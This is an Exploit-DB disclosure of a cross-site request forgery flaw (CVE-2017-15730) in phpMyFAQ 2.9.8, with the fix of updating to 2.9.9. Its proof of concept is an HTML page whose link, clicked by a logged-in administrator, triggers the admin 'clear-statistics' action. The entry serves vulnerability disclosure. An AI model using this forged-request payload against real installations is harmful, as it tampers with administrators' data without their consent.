phpMyFAQ 2.9.8 - Cross-Site Request Forgery

EDB-ID: 43064
Author: Nikhil Mittal
Published: 2017-10-27
CVE: CVE-2017-15730
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Date: 27-9-2017 
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15730

1. Description

In phpMyFAQ before 2.9.8, there is Cross-Site Request Forgery (CSRF) in admin/stat.ratings.php.

2. Proof of concept

<html>
<head>
<title>PHPMYSQL CSRF EXPLOIT</title>
</head>
<body>
<a href="http://127.0.0.1/phpmyfaq/admin/?action=clear-statistics">EXPLOIT!</a>
</body>
</html>


3. Solution

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip

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